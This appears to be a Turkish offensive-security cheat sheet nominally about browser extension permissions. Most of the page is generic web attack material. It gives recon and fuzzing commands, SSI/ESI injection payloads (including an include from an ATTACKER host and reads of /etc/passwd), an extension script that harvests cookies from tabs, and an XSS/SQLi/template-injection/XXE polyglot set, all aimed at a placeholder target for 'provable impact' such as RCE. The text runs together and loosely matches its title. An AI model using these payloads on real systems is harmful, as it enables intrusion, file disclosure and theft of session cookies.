BrowExt - permissions & host_permissions
web offensive
BrowExt - permissions & host_permissions web saldırı yüzeyidir. Giriş noktalarını izole edip kanıtlanabilir etki (okuma, yazma, RCE, auth bypass) üretmeye odaklan.
Metodoloji
Section titled “Metodoloji”-
BrowExt - permissions & host_permissionsgiriş noktalarını (param/header/cookie/upload/API) haritala. -
Hedefe özgü payload ve araçlarla hipotezi doğrula.
-
Okuma/yazma/RCE/bypass etkisini somut kanıtla.
-
Zincirleme senaryo ve kanıt paketini tamamla.
Hedef yığını, endpoint’leri ve auth sınırını netleştir.
curl -skI https://TARGET/whatweb -a 3 https://TARGETkatana -u https://TARGET -jc -d 3 -o crawl.txtffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -mc 200,204,301,302,403arjun -u https://TARGET/api/v1/item --getSSI / ESI injection
Section titled “SSI / ESI injection”<!--#exec cmd="id" --><!--#include virtual="/etc/passwd" --><esi:include src="http://ATTACKER/"/><esi:include src="http://127.0.0.1:8080/admin"/>curl -sk -H 'Surrogate-Control: content="ESI/1.0"' https://TARGET/Browser extension
Section titled “Browser extension”unzip -l ext.crx || unzip -l ext.zipjq '.permissions,.host_permissions,.content_scripts' manifest.jsonchrome.tabs.query({}, t => chrome.scripting.executeScript({target:{tabId:t[0].id},func:()=>document.cookie}))XSS in extension page → privilege; clickjack options pagePoC / polyglot seti
Section titled “PoC / polyglot seti”'"><img src=x onerror=alert(1)>' OR 1=1-- -{{7*7}}${7*7}#{7*7}<!DOCTYPE a [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><a>&xxe;</a>nuclei -u https://TARGET -as -silentOperasyon notları
Section titled “Operasyon notları”BrowExt - permissions & host_permissions sonuçları hedef sürüme ve yığına göre değişir. Her başarılı adımı request/response ile kaydet; sonraki pivot’u not et.
Ek komutlar
Section titled “Ek komutlar”curl -sk https://TARGET/robots.txtnuclei -u https://TARGET -as -silentffuf -u https://TARGET/FUZZ -w /usr/share/seclists/Discovery/Web-Content/common.txt -mc 200,204,301,302,403GET / HTTP/1.1Host: TARGETAccept: */*mkdir -p evidence/web && tee evidence/web/notes.txtBu ekler keşif ve kanıt paketini hızlandırır; asıl sömürü üstteki bölümlerdeki konu-özel payload’larla yapılır.